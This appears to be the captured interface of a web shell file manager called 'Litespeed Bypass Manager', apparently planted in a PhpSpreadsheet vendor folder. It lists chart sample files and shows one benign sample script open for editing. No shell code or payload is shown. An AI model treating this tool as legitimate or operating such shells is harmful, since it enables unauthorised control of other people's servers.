Litespeed Bypass Manager
Direktori:
/admin/vendor/phpoffice/phpspreadsheet/samples/Chart
⬆️ Kembali
Buat Folder Baru
Buat Folder
Upload File
Upload
⚠️ Litespeed Uploader
Isi Folder
📄 32_Chart_read_write.php
Edit
Hapus
📄 32_Chart_read_write_HTML.php
Edit
Hapus
📄 32_Chart_read_write_PDF.php
Edit
Hapus
📄 33_Chart_create_area.php
Edit
Hapus
📄 33_Chart_create_bar.php
Edit
Hapus
📄 33_Chart_create_bar_stacked.php
Edit
Hapus
📄 33_Chart_create_column.php
Edit
Hapus
📄 33_Chart_create_column_2.php
Edit
Hapus
📄 33_Chart_create_composite.php
Edit
Hapus
📄 33_Chart_create_line.php
Edit
Hapus
📄 33_Chart_create_multiple_charts.php
Edit
Hapus
📄 33_Chart_create_pie.php
Edit
Hapus
📄 33_Chart_create_pie_custom_colors.php
Edit
Hapus
📄 33_Chart_create_radar.php
Edit
Hapus
📄 33_Chart_create_scatter.php
Edit
Hapus
📄 33_Chart_create_stock.php
Edit
Hapus
📄 34_Chart_update.php
Edit
Hapus
📄 35_Chart_render.php
Edit
Hapus
Edit File: 34_Chart_update.php
<?php use PhpOffice\PhpSpreadsheet\IOFactory; use PhpOffice\PhpSpreadsheet\Writer\Xlsx; require __DIR__ . '/../Header.php'; // Create temporary file that will be read $sampleSpreadsheet = require __DIR__ . '/../templates/chartSpreadsheet.php'; $filename = $helper->getTemporaryFilename(); $writer = new Xlsx($sampleSpreadsheet); $writer->save($filename); $helper->log('Load from Xlsx file'); $reader = IOFactory::createReader('Xlsx'); $reader->setIncludeCharts(true); $spreadsheet = $reader->load($filename); $helper->log('Update cell data values that are displayed in the chart'); $worksheet = $spreadsheet->getActiveSheet(); $worksheet->fromArray( [ [50 - 12, 50 - 15, 50 - 21], [50 - 56, 50 - 73, 50 - 86], [50 - 52, 50 - 61, 50 - 69], [50 - 30, 50 - 32, 50], ], null, 'B2' ); // Save Excel 2007 file $filename = $helper->getFilename(__FILE__); $writer = IOFactory::createWriter($spreadsheet, 'Xlsx'); $writer->setIncludeCharts(true); $callStartTime = microtime(true); $writer->save($filename); $helper->logWrite($writer, $filename, $callStartTime);
Simpan
Catatan: Mengedit file biner tidak disarankan.